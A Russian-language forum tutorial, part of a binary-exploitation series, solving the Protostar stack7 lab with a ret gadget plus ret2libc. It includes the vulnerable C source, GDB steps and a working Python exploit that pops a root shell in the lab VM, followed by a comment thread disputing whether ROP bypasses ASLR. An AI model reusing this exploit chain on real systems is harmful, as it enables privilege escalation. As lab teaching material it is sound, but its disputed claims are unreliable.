Статья Переполнение буфера и возвратно-ориентированное программирование - Изучение методов эксплуатации на примерах, часть 8

Доброго времени суток посетители портала Codeby. Продолжаем изучать бинарные уязвимости и эксплойтостроение. В предыдущей статье мы познакомились с техникой эксплуатации называемой как Ret2Libc. В этой статье мы познакомимся с новой техникой, а именно с возвратно-ориентированным программированием или просто ROP. Что же это такое? ROP это более чуть развитая техника эксплуатации. Принцип очень схож, да и к тому же это очень мощное средство которое позволяет обходить различные защиты например DEP. Ну что же приступим...


Описание ExploitMe

Stack7 вводит в концепцию возврата в сегмент кода .text, чтобы получить выполнение кода.

Инструмент metasploit «msfelfscan» может упростить поиск подходящих инструкций, в противном случае воспользуйтесь инструментом objdump для просмотра выходных данных.

Этот уровень находится в / opt / protostar / bin / stack7


, VM

Исходный код
C:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

char *getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xb0000000) == 0xb0000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
  return strdup(buffer);
}

int main(int argc, char **argv)
{
  getpath();
}

Решение
Данный нам код ни чем не отличается от предыдущего за исключением новых адресов в памяти. И если мы попробуем запустить эксплойт из предыдущего задания, то ничего хорошего из этого не выйдет.

29730


На этот раз добавлена еще более тщательная проверка на адрес возврата (RET). Наш эксплойт не отработал, как нужно нам. Всё дело в том, что адрес функции system() начинается с 0xb. Что не подходит под условии в конструкции If. Как быть? Настало время познакомиться с новой техникой эксплуатации, именуемой как ROP.

Возвратно-ориентированное программирование (ROP)

29731


Возвратно-ориентированное программирование (Return-oriented programming, ROP) — это метод эксплуатации уязвимостей в программном обеспечении, используя который атакующий может выполнить необходимый ему код при наличии в системе защитных технологий, например, технологии, запрещающей исполнение кода с определённых страниц памяти. Метод заключается в том, что атакующий может получить контроль над стеком вызовов, найти в коде последовательности инструкций, выполняющие нужные действия, а затем их выполнить в нужной последовательности. Эти последовательности инструкций называются «гаджетами».

«Гаджет» обычно заканчивается инструкцией возврата (RET) и располагается в оперативной памяти в существующем коде (в коде программы или в коде разделяемой библиотеки). Атакующий добивается последовательного выполнения гаджетов с помощью инструкций возврата, составляет последовательность гаджетов так, чтобы выполнить желаемые операции.

ROP - мощный метод, используемый для противодействия распространенным защитам предотвращения использования памяти. В частности, ROP полезен для обхода рандомизации адресного пространства (ASLR) и DEP .

Если уж говорить совсем простым языком мы контролируем стек и места перед возвратом из функции, чтобы направить выполнение кода в другое место в программе.


Надо сказать, что ROP не просто техника эксплуатации. ROP это такая штука, которая постоянно совершенствуется. И на данный момент есть несколько разновидностей этой техники. Или так сказать классов атак.

К примеру Jump-oriented programming

Или String-oriented programming

Или же Sigreturn-oriented programming

А так же Blind Return Oriented Programming (Прим. тут сразу вспоминается Blind-SQL-Injection xD )

Мы воспользуемся обычным ROP. Можно сказать что Ret2Libc это верхушка айсберга, а ROP его продолжение. При эксплуатации бинарных уязвимостей все это дело комбинируется, переплетается в зависимости от ситуации. Техники взаимозаменяют друг друга и т.д. К примеру когда есть цепочка багов.

Для начала давайте разберемся, что происходит в процессоре при выполнении команды RET.

Процессор переместит адрес наверхушку стека в EIP и увеличит (стек увеличивается к младшим адресам) ESP на 4.

Теперь, если адрес наверху стека указывает на другую ret инструкцию, когда он выполняется, эти шаги произойдет снова, и выполнение продолжится по следующему адресу, который находится в стеке. Это может показаться немного запутанным, но, по сути, если мы используем адрес ret инструкции в качестве адреса возврата, выполнение перейдет к следующему адресу в стеке.

Поэтому наш план обойти проверку адреса возврата состоит в том, чтобы модифицировать наш эксплойт, указав адрес RET инструкции в качестве адреса возврата перед адресом функции system().

Откроем программу stack7 под отладчиком GDB и дизассемблируем функцию getpath() чтобы узнать адрес возврата из этой функции.
Код:
gdb -q ./stack7
set disassembly intel
disas getpath
q

29732


Отлично адрес возврата из функции getpath() получен. Инструкция RET находится по адресу 0x08048544.

Теперь доработаем наш эксплойт, добавим перед конструкцией systemAddr = pack("I", 0xb7ecffb0) адрес возврата из функции getpath(). Добавим такую конструкцию retAddress = pack("I", 0x08048544), а так же в print добавим переменную retAddress.

Открываем редактор nano и дописываем недостающие части эксплойта.
Код:
nano ~/exploit.py

Финальный эксплойт будет выглядеть так.
Python:
from struct import pack
eipOffset = "A"*80
retAddress = pack("I", 0x08048544)
systemAddr = pack("I", 0xb7ecffb0)
exitAddr = pack("I", 0xb7ec60c0)
shellAddr = pack("I", 0xb7fb63bf)
print eipOffset + retAddress + systemAddr + exitAddr + shellAddr

Сохраняем и выходим...
Код:
f2,y,enter.

Проверяем. Запускаем. Тестируем.

Проверим наши права до запуска эксплойта
Код:
id
whoami

запускаем эксплойт
Код:
(python ~/exploit.py;cat) | ./stack7

проверяем права
Код:
id
whoami

Закрываем оболочку
Код:
Ctrl+D

29733


Как нам видно на скриншоте мы успешно получили оболочку с правами root.

Возникает вопрос почему мы использовали адрес возврата из функции getpath(), а не из главной функции main() ?
А просто так. Дело в том, что мы можем использоваться любые ret адреса.

Попробуем выполнить наш эксплойт с другим ret адресом.

Код:
gdb -q ./stack7
set disassembly intel
disas main
q

29734


Хорошо. Теперь заменяем старый адрес инструкции RET в эксплойте
Код:
retAddress = pack("I", 0x08048544)

на новый, т.е. который мы только что получили
Код:
retAddress = pack("I", 0x08048553)

теперь открываем редактор и заменяем адрес.
Код:
nano ~/exploit.py
f2,y,enter.

Проверяем...
Код:
(python ~/exploit.py;cat) | ./stack7

29735


Видно, что эксплойт отработал точно так же, как и в прошлый раз, без ошибок. Вот таким простым казалось бы способом мы обошли защиту встроенную в программе ориентированную на адреса возврата. А так же мы скомбинировали три техники Overwrite EIP + Ret2libc + ROP и объединили их в одном эксплойте.

Одной статьи конечно же не хватит, чтобы описать все преимущества и тонкости таких техник как Ret2Libc\ROP но всё же... Мы хоть познакомились с ними и чуточку стали на голову выше)) На этом всё. Можно переходить к следующему заданию . В следующих статьях мы будем работать с форматными строками.
 
Последнее редактирование:
I

infl00p

В частности, ROP полезен для обхода рандомизации адресного пространства (ASLR) и DEP .

ROP чейны вообще не связаны c байпасом рандомизации. Никак. Более того использовать чистый rop если софтинка скомпилирована с ASLR сложновато.

Надо сказать, что ROP не просто техника эксплуатации. ROP это такая штука, которая постоянно совершенствуется.

Не особо то и совершенствуется. В то время как вендоры со всей силы форсят CFG в своих приложениях роп уже начинает сдавать позиции (соре, не знаю как на линухе, комментарий касается больше Win систем)

А просто так. Дело в том, что мы можем использоваться любые ret адреса.

Да ну?:D

P.S. автору совет - отказаться от опоры на статические адреса. Даже во времена XP это было непрактично, а с приходом адекватных техник защиты ну.. понятно
Вдобавок, DEP в чистом виде это код из двухтысячных. В любом ПО (нормальном) техники комбинируются, ибо пользы одна без другой не представляют.
 

fuzzz

Green Team
03.02.2019
249
470
BIT
2
ROP чейны вообще не связаны c байпасом рандомизации. Никак. Более того использовать чистый rop если софтинка скомпилирована с ASLR сложновато.



Не особо то и совершенствуется. В то время как вендоры со всей силы форсят CFG в своих приложениях роп уже начинает сдавать позиции (соре, не знаю как на линухе, комментарий касается больше Win систем)



Да ну?:D

P.S. автору совет - отказаться от опоры на статические адреса. Даже во времена XP это было непрактично, а с приходом адекватных техник защиты ну.. понятно
Вдобавок, DEP в чистом виде это код из двухтысячных. В любом ПО (нормальном) техники комбинируются, ибо пользы одна без другой не представляют.

Как раз таки и связан ROP. С этим. Если софт скомпилирован ASLR можно обойти с помощью ROP. И не важно что там адреса будут меняться. Потому как искать гаджеты надо не в самой программе, а в библиотеках которые использует программа. А вот если библиотека уже скомпилирована с ASLR тогда уже другое дело. Тут да. Но опять же из 100 библиотек хоть 1 будет будет скомпилирована без ASLR. Но А если нет тогда надо искать утечки. Чем ROP лучше Ret2libc. Тем что, если из библиотеки выпилили функции к примеру system() и ret2libc проигрывает, вообще повыпиливали кучу функций которые позволяют открыть оболочку. То ROP на это по барабану можно собрать прям в коде, любую функцию ))

Касательно развития ROP. ROP - ROP'у рознь... Техник и методов куча открыли? Ведь так. Так. Поэтому и развивается. Возможно существует и другие техники о которых мы не знаем. Потому как брокеры эксплойтов по мимо Zero-Day скупают и новейшие техники.
Да не спорю есть куча разных защит. Где ROP бесполезен полностью и приходится изгибаться как змее.. Но всё же современные эксплойты. Это ROP-эксплойты. Это де-факто.


Что касается статических адресов. Это простенькая статья. Тут не нужно ничего усложнять. Вот когда я буду разбирать следующую VM где напичканы ASLR\DEP и прочая лабуда. Там да. Несомненно, имеет место быть. А тут нет.

P.s. В статье и сказано что техники комбинируются )))
 
Последнее редактирование:
I

infl00p

Как раз таки и связан ROP. С этим. Если софт скомпилирован ASLR можно обойти с помощью ROP. И не важно что там адреса будут меняться. Потому как искать гаджеты надо не в самой программе, а в библиотеках которые использует программа. А вот если библиотека уже скомпилирована с ASLR тогда уже другое дело. Тут да.
Что? Словесное недержание? Каким образом ты ROP чейном обойдешь ASLR, ты рофлишь чтоли? Давай, скомпилируй прогу без NX бита, но с рандомизацией, а затем обходи его ROP, когда получится напиши сюда.
Идея ROP чейна заключается только в том что ты не используешь стек как исполняемый сегмент, а дергаешь адреса для передачи параметров в API и снятия разрешения конкретной пейджи. ASLR же рандомизирует ареса и ты не будешь знать куда бить. Шанс попасть есть, но не попав ты получишь в лучшем случае краш.
ASLR обходится инфо ликом, частичной перезаписью, дополнительным багом аля UAF с последующим спреем в non-randomised область, брутом верхних байтов адреса (если есть такая возможность) и т.д. но НИКАК не роп чейном.
Цитата выше звучит для меня как-то так: "У собаки и у человека есть глаза. Человек это собака"

Но опять же из 100 библиотек хоть 1 будет будет скомпилирована без ASLR. Но А если нет тогда надо искать утечки.
Про force ASLR прочитай. Ты сейчас пишешь не зная ситуации, если бы все было столь просто эксплоит деверы бы не ломили такие бабки за свои труды
 

swagcat228

Заблокирован
19.12.2019
341
86
BIT
0
Парни, а ROP помогает обойти ASLR? у нас на любой, к примеру, х64 адресовка libc будет одной и той же? или как?
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!